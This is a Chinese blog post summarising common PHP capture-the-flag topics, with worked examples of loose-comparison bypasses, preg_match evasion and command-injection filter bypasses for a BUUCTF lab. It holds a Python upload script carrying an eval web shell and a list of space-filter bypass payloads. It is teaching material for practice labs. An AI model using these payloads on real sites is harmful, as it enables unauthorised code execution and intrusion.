CTF-PHP常见考点实例小结

简介: CTF-PHP常见考点实例小结

0x00 CTF-PHP常见考点

1.php弱类型的比较

2.php断言问题

3.php读取文件问题

4.updatexml(),__wakeup ,preg_match等函数考点

5.sha1()函数与md5()知识点

6.异或注入绕过考点

7.源文件泄露

8.extract变量覆盖

9.strcmp漏洞........

10.RCE的命令执行绕过考点

总结的不是很全面,一些常见的考点,希望师傅们多多指点

看到网上不少师傅的总结,感觉不错值得学习。

下面取几个考点类型案例分析帮助理解,实际加强php类型考点多在靶场修炼才更深刻。


0x01 案例1:弱类型绕过案例

php存在=,==,===三种比较符号

第一个=相当于直接赋值的道理

第二个= = 会直接将对象转换为相同类在进行比较

第三个= = = 会判断两种类型对象是否相等,再作比较

<?php
var_dump("admin"==0); //true   0=0 为真
var_dump("1admin"==1); //true   1=1 为正
var_dump("admin1"==1); //false 0 不等于 1 返回假
var_dump("admin1"===1); //类型不等 为假
var_dump("admin"===1);   //类型不等 为假
var_dump("0e123456"=="0e4456789"); //true   所有0e默认类为取值0 0=0 为真
var_dump("0e123456"==="0e4456789"); //类型相等数值不等 为假
?>


640.png

一段简短的代码审计题目帮助理解php弱类型

$num=$_GET['num'];
if(!is_numeric($num))   // is_numeric () 函数用于检测变量是否为数字或数字字符串。
{
    echo $num;
    if($num==1)   //num=1xxx 即可构成   1=1 返回为真取值flag
          echo 'flag{**********}';
}

payload:num=1abc    构成比较为1=1 为真输出flag


0x02 preg_match函数绕过

首先了解preg_match函数作用:用于执行一个正则表达式匹配。赛题中用来过滤函数

<?php
//模式分隔符后的"i"标记这是一个大小写不敏感的搜索
if (preg_match("/php/i", "PHP is the web scripting language of choice.")) {
  echo "查找到匹配的字符串 php。";
} else {
  echo "未发现匹配的字符串 php。";
}
?>

640.png

常见preg_match的绕过的三种方式:

(1)数组绕过,当传递参数为数组,会返回true

payload:传参:?a=[]=flag.php

(2)最大PCRE(正则查找匹配次数)突破,中文的回溯次数在100万次就会崩溃,构造exp突破次数即可返回truepauload:

import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://x.x.x.x:xx/index.php', files=files, allow_redirects=False)
print(res.headers)

(3)"."换行符绕过,"."不会匹配换行符payload:

if (preg_match('/^.*(flag).*$/', $json)) {
  echo 'Hacking attempt detected<br/><br/>';
}
//$json="\nflag"
if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
  echo $flag;
}
//?a=flag%0a

参考了网上师傅总结,值得学习记录一下


0x03 案例2:RCE绕过案例

学习地址:BUUCTF(题目地址:ping ping ping)

b88f1e51637a8c097efb15a8e87c6102.png

题目页面:

a992714733c036c9b1e6824eba2fe725.png

发现flag地址:

6efb602725a74a460d09af384487f3ca.png

空格被过滤:

1e0ed43c5a2d5110107adb72b120f104.png

绕过rce执行空格:php-rce绕过参考:https://zhuanlan.zhihu.com/p/391439312

b0bc62694b6f4bf1af79dbd4dfdf2c25.png

符号被过滤

fe1b2f4c78d6a3c702b51f708bd0acfa.png

尝试绕过被过滤字符串flag:

95237fe05568d60b9322e17c83edad35.png

空格绕过参考:

%09(url传递)(cat%09flag.php)
${IFS}
$IFS$9
<>(cat<>/flag)
<(cat</flag)
{cat,flag}

总结:题目难度偏小 ,$IFS$2绕过空格加上拼接flag字符串,以;字符分割执行rce,获取flag。

RCE命令执行绕过总结网上很多,可以多加学习:命令执行(RCE)面对各种过滤,骚姿势绕过总结等


总结的文章对于爱好ctf的小白比较友好,希望有师傅们路过指点!

相关文章
|
3月前
|
设计模式 算法 数据库连接
PHP中的设计模式:提高代码的可维护性与扩展性本文旨在探讨PHP中常见的设计模式及其应用,帮助开发者编写出更加灵活、可维护和易于扩展的代码。通过深入浅出的解释和实例演示,我们将了解如何使用设计模式解决实际开发中的问题,并提升代码质量。
在软件开发过程中,设计模式是一套经过验证的解决方案模板,用于处理常见的软件设计问题。PHP作为流行的服务器端脚本语言,也有其特定的设计模式应用。本文将重点介绍几种PHP中常用的设计模式,包括单例模式、工厂模式和策略模式,并通过实际代码示例展示它们的具体用法。同时,我们还将讨论如何在实际项目中合理选择和应用这些设计模式,以提升代码的可维护性和扩展性。
81 4
|
1月前
|
PHP
PHP的pcntl多进程用法实例
PHP使用PCNTL系列的函数也能做到多进程处理一个事务。
37 12
|
2月前
|
设计模式 SQL 安全
PHP中的设计模式:单例模式的深入探索与实践在PHP开发领域,设计模式是解决常见问题的高效方案集合。它们不是具体的代码,而是一种编码和设计经验的总结。单例模式作为设计模式中的一种,确保了一个类仅有一个实例,并提供一个全局访问点。本文将深入探讨单例模式的基本概念、实现方式及其在PHP中的应用。
单例模式在PHP中的应用广泛,尤其在处理数据库连接、日志记录等场景时,能显著提高资源利用率和执行效率。本文从单例模式的定义出发,详细解释了其在PHP中的不同实现方法,并探讨了使用单例模式的优势与注意事项。通过对示例代码的分析,读者将能够理解如何在PHP项目中有效应用单例模式。
|
3月前
|
设计模式 数据库连接 PHP
PHP中的设计模式:如何提高代码的可维护性与扩展性在软件开发领域,PHP 是一种广泛使用的服务器端脚本语言。随着项目规模的扩大和复杂性的增加,保持代码的可维护性和可扩展性变得越来越重要。本文将探讨 PHP 中的设计模式,并通过实例展示如何应用这些模式来提高代码质量。
设计模式是经过验证的解决软件设计问题的方法。它们不是具体的代码,而是一种编码和设计经验的总结。在PHP开发中,合理地使用设计模式可以显著提高代码的可维护性、复用性和扩展性。本文将介绍几种常见的设计模式,包括单例模式、工厂模式和观察者模式,并通过具体的例子展示如何在PHP项目中应用这些模式。
|
3月前
|
设计模式 SQL 安全
PHP中的设计模式:单例模式的深入探索与实践在PHP的编程实践中,设计模式是解决常见软件设计问题的最佳实践。单例模式作为设计模式中的一种,确保一个类只有一个实例,并提供全局访问点,广泛应用于配置管理、日志记录和测试框架等场景。本文将深入探讨单例模式的原理、实现方式及其在PHP中的应用,帮助开发者更好地理解和运用这一设计模式。
在PHP开发中,单例模式通过确保类仅有一个实例并提供一个全局访问点,有效管理和访问共享资源。本文详细介绍了单例模式的概念、PHP实现方式及应用场景,并通过具体代码示例展示如何在PHP中实现单例模式以及如何在实际项目中正确使用它来优化代码结构和性能。
57 2
|
7月前
|
网络安全 PHP
[网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)
[网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)
199 0
|
存储 网络安全 PHP
[CTF/网络安全]攻防世界unserialize3解题详析及php序列化反序列化实例讲解
序列化是指将数据结构或对象转换为可传输或可存储的格式的过程。这通常需要将数据转换为字节流或其他形式的编码格式,以便能够在不同的系统和应用程序之间进行传输或存储。
391 0
|
缓存 移动开发 NoSQL
php结合redis实现高并发下的抢购、秒杀功能的实例
php结合redis实现高并发下的抢购、秒杀功能的实例
269 0
|
算法 PHP 数据安全/隐私保护
AES-128-CBC-Pkcs7Padding加密PHP实例
AES-128-CBC-Pkcs7Padding加密PHP实例
513 0
AES-128-CBC-Pkcs7Padding加密PHP实例
|
PHP
PHP实现Workerman实例 高性能PHP Socket即时通讯框架
PHP实现Workerman实例 高性能PHP Socket即时通讯框架
439 0